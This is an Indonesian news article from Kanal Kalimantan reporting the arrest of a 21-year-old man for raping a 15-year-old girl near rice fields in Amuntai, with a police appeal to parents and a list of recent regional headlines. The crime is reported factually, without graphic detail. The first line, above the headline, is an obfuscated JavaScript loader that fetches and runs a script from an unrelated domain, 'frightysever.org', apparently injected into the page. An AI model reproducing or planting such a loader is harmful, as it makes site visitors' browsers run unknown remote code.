(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

RA Diringkus Polsek Amuntai, Setelah 2 Bulan Setubuhi SI di Persawahan


AMUNTAI, Polsek Amuntai Kota berhasil meringkus pelaku persetubuhan anak di bawah umur di Jalan Abdul Hamidan, Desa Karias, Kecematan Amuntai Tengah, Kabupaten HSU, tepatnya di sekitar area persawahan, Rabu (20/6) sekitar pukul 12.00 Wita.

Pelaku diketahui berinsial RA (21) warga Desa Sungai Bahadangan Kecamatan Amuntai Tengah Kabupaten HSU.

Sebelumnya, sekitar 2 bulan lalu pada hari Jum’at (20/4) sekitar pukul 22.00 Wita, korban SI (15) warga Desa Sungai Bahadangan, Kecamatan Amuntai Tengah, HSU, disuruh orang tuanya untuk membeli obat. Lalu tersangka RA menawarkan diri untuk mengantar korban membeli obat ke toko yang dimaksud. Setibanya di sana, toko obat tersebut tutup, lalu SI malah diajak jalan-jalan berkeliling oleh tersangka RA. Belakangan RA membawa korban ke sebuah area persawahan di Desa Karias, Kecamatan Amuntai Tengah, HSU, kemudian mengajak korban ke semak-semak memaksa dan mengancam korban untuk disetubuhi.

Belakangan, tante korban yang mengetahui kejadian melaporkan perlakuan RA atas SI ke Polsek Amuntai Kota.

Menerima laporan tersebut Polsek Amuntai Kota langsung melakukan penyelidikan terhadap pelaku. Dua bulan berlalu RA akhirnya berhasil diamankan Rabu (20/6) sekitar pukul 12.00 Wita.

Kapolsek Amuntai Kota Ipda Taufik mengungkapkan, untuk kasus ini sudah diserahkan ke PPA Sat Reskrim untuk penanganan intensif.

“Saat ini kasusnya kami serahkan ke PPA Sat Reskrim Polres HSU sehubungan dengan penanganan secara intens terhadap korban di bawah umur,” ujarnya.

Adapun barang barang bukti yang diamankan Pihak Kepolisian berupa beberapa lembar pakaian milik korban.

Berhasil meringkus RA ini, menjadi kali kedua terkuaknya tindak pidana pencabulan yang terjadi di wilayah hukum Polres HSU.

Kapolres HSU AKBP Agus Sudaryatno SIKMH melalui Kapolsek Amuntai Kota Ipda Taufik menghimbau untuk orang tua agar lebih memperhatikan dan mengawasi setiap kegiatan anak-anaknya.

“Maraknya kasus pencabulan anak dibawah umur ini tentu sangat memprihatinkan. Saya harap orang tua agar lebih memperhatikan dan mengawasi kegiatan anak-anaknya di luar rumah. Isi kegiatan mereka dengan hal hal yang positif dan bekali ilmu agama sejak dini,” pungkasnya. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

3 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

3 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

3 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

5 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

6 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

7 jam ago

This website uses cookies.